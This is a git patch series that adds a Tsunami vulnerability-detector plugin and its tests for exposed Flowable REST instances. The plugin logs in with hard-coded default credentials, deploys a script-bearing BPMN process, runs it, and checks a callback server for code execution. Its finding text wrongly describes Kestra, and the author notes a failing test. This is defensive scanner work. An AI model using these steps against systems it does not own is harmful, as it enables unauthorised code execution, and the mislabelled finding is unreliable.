From 52c71450cfceb43dfea8d1e0982386c4d71e6872 Mon Sep 17 00:00:00 2001 From: devampkid Date: Wed, 13 Aug 2025 04:49:36 +0400 Subject: [PATCH 1/4] Flowable exposed UI It seems that test cases has a bug and i can't finish one test case after numerous efforts --- .../exposedui/Flowable_ExposedUI.textproto | 117 ++++++++++++++++++ .../Flowable_ExposedUI_test.textproto | 89 +++++++++++++ 2 files changed, 206 insertions(+) create mode 100644 templated/templateddetector/plugins/exposedui/Flowable_ExposedUI.textproto create mode 100644 templated/templateddetector/plugins/exposedui/Flowable_ExposedUI_test.textproto diff --git a/templated/templateddetector/plugins/exposedui/Flowable_ExposedUI.textproto b/templated/templateddetector/plugins/exposedui/Flowable_ExposedUI.textproto new file mode 100644 index 000000000..14f8be0be --- /dev/null +++ b/templated/templateddetector/plugins/exposedui/Flowable_ExposedUI.textproto @@ -0,0 +1,117 @@ +# proto-file: proto/templated_plugin.proto +# proto-message: TemplatedPlugin + +############### +# PLUGIN INFO # +############### + +info: { + type: VULN_DETECTION + name: "Flowable_ExposedUI" + author: "lanceD00M" + version: "0.1" +} + +finding: { + main_id: { + publisher: "GOOGLE" + value: "KESTRA_EXPOSED_UI" + } + title: "Exposed Kestra instance" + description: "Kestra instance is exposed and can be used to compromise the system." + recommendation: + "Configure authentication or ensure the Kestra instance is not exposed " + "to the network. See " + "https://kestra.io/docs/enterprise/auth/authentication for details." + severity: CRITICAL +} + +########### +# ACTIONS # +########### + +actions: { + name: "flowable_exposed_ui_fingerprint" + http_request: { + method: GET + uri: "/flowable-rest/docs/" + headers: [ + { name: "Authorization" value: "Basic cmVzdC1hZG1pbjp0ZXN0" } + ] + response: { + http_status: 200 + expect_all: { + conditions: { body {} contains: 'case "specfile/process/flowable-swagger-process.json":' } + conditions: { body {} contains: 'case "specfile/dmn/flowable-swagger-decision.json":' } + } + } + } +} + +actions: { + name: "deploy_tsunami_process" + http_request: { + method: POST + uri: "/flowable-rest/service/repository/deployments" + headers: [ + { name: "Authorization" value: "Basic cmVzdC1hZG1pbjp0ZXN0" }, + { name: "Content-Type" value: "multipart/form-data; boundary=------------------------gxyhRpqEx2dfbXUDrMqEEL" } + ] + data: '--------------------------gxyhRpqEx2dfbXUDrMqEEL\r\nContent-Disposition: form-data; name="file"; filename="jsScript.bpmn"\r\nContent-Type: application/octet-stream\r\n\r\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\r\n--------------------------gxyhRpqEx2dfbXUDrMqEEL--\r\n' + response: { + http_status: 201 + expect_all: { + conditions: { body {} contains: '"id"' } + conditions: { body {} contains: '"name"' } + conditions: { body {} contains: '"deploymentTime"' } + } + } + } +} + +actions: { + name: "execute_tsunami_process" + http_request: { + method: POST + uri: "/flowable-rest/service/runtime/process-instances" + data: '{"processDefinitionKey": "jsScriptProcess"}' + headers: [ + { name: "Authorization" value: "Basic cmVzdC1hZG1pbjp0ZXN0" }, + { name: "Content-Type" value: "application/json" } + ] + response: { + http_status: 201 + expect_all: { + conditions: { body {} contains: '"id"' } + conditions: { body {} contains: '"processDefinitionId"' } + conditions: { body {} contains: '"processDefinitionDescription"' } + conditions: { body {} contains: '"value"' } + } + } + } +} + +actions: { + name: "sleep" + utility: { sleep: { duration_ms: 1000 } } +} + +actions: { + name: "check_callback_server_logs" + callback_server: { action_type: CHECK } +} + + +############# +# WORKFLOWS # +############# + +workflows: { + actions: [ + "flowable_exposed_ui_fingerprint", + "deploy_tsunami_process", + "execute_tsunami_process", + "sleep", + "check_callback_server_logs" + ] +} diff --git a/templated/templateddetector/plugins/exposedui/Flowable_ExposedUI_test.textproto b/templated/templateddetector/plugins/exposedui/Flowable_ExposedUI_test.textproto new file mode 100644 index 000000000..18160aa95 --- /dev/null +++ b/templated/templateddetector/plugins/exposedui/Flowable_ExposedUI_test.textproto @@ -0,0 +1,89 @@ +# proto-file: proto/templated_plugin_tests.proto +# proto-message: TemplatedPluginTests + +config: { + tested_plugin: "Flowable_ExposedUI" +} + +tests: { + name: "whenVulnerable_returnsVuln" + expect_vulnerability: true + + mock_callback_server: { + enabled: true + has_interaction: true + } + mock_http_server: { + mock_responses: [ + { + uri: "/flowable-rest/docs/" + status: 200 + body_content: + 'case "specfile/process/flowable-swagger-process.json":' + 'case "specfile/dmn/flowable-swagger-decision.json":' + }, + { + uri: "/flowable-rest/service/repository/deployments" + status: 200 + body_content: + '--------------------------gxyhRpqEx2dfbXUDrMqEEL\r\nContent-Disposition: form-data; name="file"; filename="jsScript.bpmn"\r\nContent-Type: application/octet-stream\r\n\r\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\r\n--------------------------gxyhRpqEx2dfbXUDrMqEEL--\r\n' @@ -76,7 +72,6 @@ actions: { uri: "/flowable-rest/service/runtime/process-instances" data: '{"processDefinitionKey": "jsScriptProcess"}' headers: [ - { name: "Authorization" value: "Basic cmVzdC1hZG1pbjp0ZXN0" }, { name: "Content-Type" value: "application/json" } ] response: { @@ -105,6 +100,9 @@ actions: { ############# # WORKFLOWS # ############# +config { + debug: true +} workflows: { actions: [ diff --git a/templated/templateddetector/plugins/exposedui/Flowable_ExposedUI_test.textproto b/templated/templateddetector/plugins/exposedui/Flowable_ExposedUI_test.textproto index 18160aa95..2fef33f44 100644 --- a/templated/templateddetector/plugins/exposedui/Flowable_ExposedUI_test.textproto +++ b/templated/templateddetector/plugins/exposedui/Flowable_ExposedUI_test.textproto @@ -24,15 +24,20 @@ tests: { }, { uri: "/flowable-rest/service/repository/deployments" - status: 200 - body_content: - '--------------------------gxyhRpqEx2dfbXUDrMqEEL\r\nContent-Disposition: form-data; name="file"; filename="jsScript.bpmn"\r\nContent-Type: application/octet-stream\r\n\r\n\n\n\n\n\n\n\n